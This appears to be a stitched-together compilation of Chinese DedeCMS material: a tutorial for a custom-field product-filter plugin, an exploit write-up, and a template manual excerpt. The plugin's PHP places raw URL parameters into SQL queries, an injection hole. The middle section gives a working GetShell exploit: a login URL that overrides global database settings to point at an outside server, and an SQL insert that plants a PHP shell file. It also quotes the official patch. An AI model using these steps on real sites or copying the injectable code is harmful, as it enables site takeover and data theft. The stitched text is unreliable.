17、织梦仿站系列教程第十七讲

dedcms织梦实现⾃定义字段进⾏产品筛选（类似于购物商城参数筛选）企业⽹站中如果⼀些产品有很多不同的交叉属性，就需要⽤到：1、后台为该产品添加⼀些⾃定义的筛选字段 2、前台根据这些字段逐层筛选更⽅便客户找到他需要的产品（⽂章）本插件（⽂件）完全不动dedecms 任何核⼼⽂件；需要增加和修改的地⽅为：1、进⾏筛选的动态php页⾯；本篇在wwwroot/plus 下⾯增加 pcba.php页⾯；2、在模板⽬录下增加⽤于显⽰的模板⽂件；本篇在wwwroot/templets/default/ 下⾯增加 list_PCBA_with_type.htm 页⾯；3、在/include/⽂件价下找到 extend.func.php ⽂件增加⼀些函数本⽂仅作抛砖引⽟（功能已实现），希望⼤家⼀起来完善（美化）该插件；本⼈⽔平有限，还有很多不⾜之处；不过以下代码已经能将核⼼功能完成，也很实⽤（很多⽹友需要⽤到的）1、在wwwroot/plus 下⾯增加 pcba.php页⾯；代码如下：------------------------------------------------------------------------------------------<?phprequire_once("../ouyp/config.php");require_once(DEDEINC."/dedetag.class.php");require_once(dirname(__FILE__).'/../include/common.inc.php');require_once(DEDEINC."/extend.func.php");$currentUrl = $_SERVER["REQUEST_URI"];//根据当前URL中包含的查询字符串进⾏进⾏筛选并返回所有符合条件的板卡的ID值，以逗号分隔function returnQueryIDS($url){$data = array();$parameter = explode('&',end(explode('?',$url)));$addquery = count($parameter);foreach($parameter as $val){$tmp = explode('=',$val);$data[$tmp[0]] = $tmp[1];}$query = $query."and".$tmp[0];if($addquery == '1'){foreach ($data as $key => $value) {$value = urldecode($value);$query = "SELECT * FROM `#@__pcba` WHERE FIND_IN_SET('$value',$key)";}}else {$firstquery = array_slice($data,0,1);$otherquery = array_slice($data,1);foreach ($firstquery as $key => $value) {$value = urldecode($value);$query = "SELECT * FROM `#@__pcba` WHERE FIND_IN_SET('$value',$key)";}foreach ($otherquery as $key => $value) {$value = urldecode($value);$query = $query." and FIND_IN_SET('$value',$key)";}}$orderby = ' order by aid desc ';$query = $query.$orderby;if($addquery !== 0){global $dsql;$array = array();$dsql->SetQuery($query);$dsql->Execute();while($row = $dsql->GetArray()){$aids = array_push($array,$row['aid']);}$aids = join(",",$array);}else{$aids = 0;}return $aids;}//根据⽹址查询的字段返回所有符合条件的板卡ID值集合,并输出ID值集合中所有的产品returnPCBAArc(returnQueryIDS($currentUrl));require_once(DEDETEMPLATE.'/default/list_PCBA_with_type.htm');-------------------------------------------------------------------------------------------2、在wwwroot/templets/default/ 下⾯增加 list_PCBA_with_type.htm 页⾯核⼼显⽰代码如下：<div style="width:750px; float:left; padding-left:10px; height:150px; padding-top:7px; text-align:left; clear:both"> <table width="99%" border="0" cellspacing="0" cellpadding="0"><tr><td valign="top" width="120px">板卡架构：</td><td valign="top"><?php returnFieldValuesPHP($currentUrl,"jiagou","1"); ?></td></tr><tr><td valign="top"> CPU 核⼼：</td><td valign="top"> <?php returnFieldValuesPHP($currentUrl,"hexin","1"); ?></td></tr><tr><td valign="top">应⽤领域</td><td valign="top"><?php returnFieldValuesPHP($currentUrl,"hangye","1"); ?></td></tr><tr><td valign="top">板卡尺⼨</td><td valign="top"><?php returnFieldValuesPHP($currentUrl,"type_size","1"); ?></td></tr><tr><td valign="top"> </td><td valign="top"> </td></tr></table></div>-----------------------------------------------------------------------------------------3、在/include/⽂件价下找到 extend.func.php ⽂件增加以下函数------------------------------------------------------------//根据传递过来的多个以逗号拼接的产品ID，形成数组、查询并返回相应的产品function returnPCBAArc($qstr,$orderby='id',$desc ='desc'){global $dsql;if(!empty($qstr)){$arcids = preg_replace("#[^0-9,]#", '', preg_replace("#,#", ',', $qstr));$query = "SELECT * FROM `#@__archives` WHERE id in($arcids) order by $orderby $desc";$dsql->SetQuery($query);$dsql->Execute();while($row = $dsql->GetArray()){$url = GetOneArchiveUrl($row['id']);$aTitle = $row['title'];$picURL = $row['litpic'];$gonghao = $row['gonghao'];$size = $row['size'];$gaisu = $row['gaisu'];$keydesc = $row['keydesc'];$msg .="<DIV style='float:left; border-right:1px #d0d9e2 solid; border-bottom:1px #d0d9e2 solid; width:332.6px;' >";$msg .="<UL class="productline_2"><LI><DIV class="font14" style=overflow:hidden><SPAN style='FONT-WEIGHT: bold'id=BrandList_ctl06_lblSeriesName><a href=$url class='title' title='$aTitle'>$aTitle</a></SPAN> </DIV><DIV class="pic"><a href=$url> <img class='lazy' style='BORDER:none;WIDTH: 150px;' data-original=$picURL src='/templets/default//js/grey.gif' /> </a></DIV>";$msg .="<DIV style='HEIGHT: 90px; OVERFLOW: hidden' class="intro"><SPAN id=BrandList_ctl06_lblSeriesDescription><P> <STRONG>$keydesc </STRONG><BR>$gaisu</P></SPAN></DIV><SPAN class="text_o"><a href=$url class="title">了解详情></A> </SPAN><div class="sc_size"><div style=width: 80px class="left">功耗及尺⼨：</div><span onmouseout=$(this).removeClass('size_a'); onmouseover=$(this).addClass('size_a'); class="size">$gonghao W </span> <span class="size">$size mm</span> </div></LI></UL></DIV>";}}print($msg);}//将数组转化为查询筛选字符串，类似&a=111&b=222function array_implode($glue, $separator, $array) {if ( ! is_array( $array ) ) return $array;$string = array();foreach ( $array as $key => $val ) {if ( is_array( $val ) )$val = implode( ',', $val );$string[] = "{$key}{$glue}{$val}";}return implode( $separator, $string );}-----------------------------------------------------------------------第三个函数最为关键//获取⾃定义字段所有值并附带链接function returnFieldValuesPHP($currentURl,$customField,$type='',$id='17'){global $dsql;if(!empty($customField)){$fname = $customField;$row = $dsql->GetOne("SELECT fieldset,'' as maintable,addtable,issystem FROM `#@__channeltype` WHERE id='$id'");$fieldset = $row['fieldset'];$trueTable = $row['addtable'];$dtp = new DedeTagParse();$dtp->SetNameSpace("field", "<", ">");$dtp->LoadSource($fieldset);foreach($dtp->CTags as $ctag){if(strtolower($ctag->GetName())==strtolower($fname)) break;}//将当前路径数组化$parameter = explode('&',end(explode('?',$currentURl)));$addquery = count($parameter);foreach($parameter as $val){$tmp = explode('=',$val);$data[$tmp[0]] = $tmp[1];}$rowValue = explode(",",$ctag->GetAtt('default'));$filename = "pcba.php";foreach($rowValue as $key=>$value){if($addquery !== 0){//检查当前路径中是否已经存在某个查询的⾃定义字段选项，如存在则重新赋值，否则直接⽤"&"添加查询字段if(array_key_exists($customField, $data)){$data[$customField] = $value;//将路径数组重新⽣成路径$newdata = array();$newdata = $data;$firstquery = array_slice($newdata,0,1);$otherquery = array_slice($newdata,1,5);foreach($firstquery as $k1 =>$v1){$fURl = $filename."?".$k1."=".$v1;}if(count($otherquery) !== 0){next(implode("&", $otherquery));$query = array_implode( '=', '&', $otherquery);//print_r($query);$newURl = $fURl."&".$query ;}else{$newURl = $fURl;}}else{$newURl = $currentURl."&".$customField."=".$value;}}else{$newURl = $filename."?".$customField=$value;}$va = "<a href=".$newURl.">".$value."</a> ";echo $va;}}}4、在后台增加相应的⾃定义字段，本⽰例增加的字段为：jiagou,hexin,hangye,type_size ,均为checkBox多选类型思路：1、pcba.php 页⾯作⽤：根据地址栏URL⾥⾯的筛选字段及值，找到所有符合条件的产品2、extend.func.php ⾥⾯增加的 3个扩展函数⽤于⽐对当前URL⾥⾯筛选的条件（字段）的，如⽤户要筛选的字段不在URL⾥⾯则增加、如⽤户要筛选的字段在URL⾥⾯已存在则替换字段的值，并显⽰在页⾯；。

DEDECMS（织梦程序）5.5-5.7通杀GetShell漏洞入侵步骤如下：/织梦网站后台/login.php?dopost=login&validate=dcug&userid=admin&pwd =inimda&_POST[GLOBALS][cfg_dbhost]=116.255.183.90&_POS T[GLOBALS][cfg_dbuser]=root&_POST[GLOBALS][cfg_dbpwd]=r 0t0&_POST[GLOBALS][cfg_dbname]=root把上面validate后面的字母改为当前的验证码，即可直接进入网站后台。

小编分析了一下，此漏洞的前提是必须得到后台路径才能实现，因此大家一定要养成使用DEDECM建站时改后台名字的习惯。

下面给出官方的解决办法：解决办法：找到include/common.inc.php文件，把foreach($_REQUEST as $_k=>$_v){var_dump($_k);if( strlen($_k)>0 && preg_match('#^(cfg_|GLOBALS)#',$_k) ): {exit('Request var not allow!');}}换成//检查和注册外部提交的变量function CheckRequest(&$val) {if (is_array($val)) {foreach ($val as $_k=>$_v) {CheckRequest($_k);CheckRequest($val[$_k]);}} else{if( strlen($val)>0 && preg_match('#^(cfg_|GLOBALS)#',$val) ){exit('Request var not allow!');}}}CheckRequest($_REQUEST);网传的都是说要知道后台才能利用，但不用，只要 plus 目录存在，服务器能外连，就能拿shell前题条件，必须准备好自己的dede数据库，然后插入数据：insert into dede_mytag(aid,normbody) values(1,'{dede:php}$fp = @fopen("1.php", \'a\');@fwrite($fp, \'\');echo "OK";@fclose($fp);{/dede:php}');再用下面表单提交，shell 就在同目录下1.php。

DedeCMS V5.3二次开发手册一、模板篇1.1、主要模板文件与功能说明DedeCMS系统的模板是非固定的，用户可以在新建栏目时可以自行选择栏目模板，官方仅提供最基本的默认模板，即是内置系统模型的各个模板，由于DedeCMS支持自定义频道模型，用户自定义新频道模型后，还需要按该模型的字段设计一套新的模板，此外，DedeCMS 也支持使用风格的形式使用模板，默认风格是default，它表示系统默认使用{cmspath}/templets/default 这个文件夹的模板，如果你下载了一套新的模板，你可以不必要删除default 原有的文件，把下载的模板文件夹命名你想要的风格名称，如style2 等，然后在后台修改了默认的模板风格名称为style2 ，那系统将使用{cmspath}/templets/style2 这文件当作默认模板，但是若你手工指定了栏目模板的位置，则后台参数风格的定义无效。

一、概念，设计和使用模板，必须要理解下面几个概念1、板块（封面）模板：指网站主页或比较重要的栏目封面频道使用的模板，一般用“index_识别ID.htm”命名，此外，用户单独定义的单个页面或自定义标记，也可选是否支持板块模板标记，如果支持，系统会用板块模板标记引擎去解析后才输出内容或生成特定的文件。

2、列表模板：指网站某个栏目的所有文章列表的模板，一般用“list_识别ID.htm” 命名。

3、档案模板：表示文档查看页的模板，如文章模板，一般用“article_识别ID.htm” 命名。

4、其它模板：一般系统常规包含的模板有：主页模板、搜索模板、ＲＳＳ、ＪＳ编译功能模板等，此外用户也可以自定义一个模板创建为任意文件。

二、命名，DedeCMS模板默认命名规则如下1、模板保存位置：模板目录：{cmspath} /templets/样式名称（英文，默认为default，其中system为系统底层模板，plus为插件使用的模板）/具体功能模板文件｝2、模板文件命名规范：（１）index_识别ID.htm：表示板块（栏目封面）模板；（２）list_识别ID.htm：表示栏目列表模板；（３）article_识别ID.htm：表示内容查看页（文档模板，包括专题查看页）；（４）search.htm：搜索结果列表模板；（５）index.htm：主页模板；注解：[识别ID]可以在“频道模型管理”的地方获得，当然，你也可以在“频道模型管理”的地方确定某个频道的模板命名。

1.标签名称：channel标记简介：织梦常用标记，通常用于网站顶部以获取站点栏目信息，方便网站会员分类浏览整站信息功能说明：用于获取栏目列表适用范围：全局使用基本语法：{dede:channel type='top' row='8' currentstyle="<li><a href='~typelink~' class='thisclass'>~typename~</a> </li>"}<li><a href='[field:typelink/]'>[field:typename/]</a> </li>{/dede:channel}注意：在此dede大括号添加标记样式的时候需要用一对单引号''。

参数说明：typeid = '0' 栏目IDreid = '0' 上级栏目IDrow = '100' 调用栏目数col = '1' 分多少列显示（默认为单列）type = 'son | sun' son表示下级栏目,self表示同级栏目,top顶级栏目currentstyle = '' 应用样式底层模板字段：ID(同id),typeid, typelink, typename, typeurl,typedir(仅表示栏目的网址)例：{dede:channel type='top' row='9'}<a href="[field:typeurl/]" rel="nofollow">[field:typename/]</a> |{/dede:channel}注：在没有指定typeid的情况下，type标记与模板的环境有关，如，模板生成到栏目一，那么type='son'就表示栏目一的所有子类模板路径标签：{dede:global.cfg_templets_skin/}/ 克隆完模板后第一步要做的是替换href路径（一般为对css样式的引入。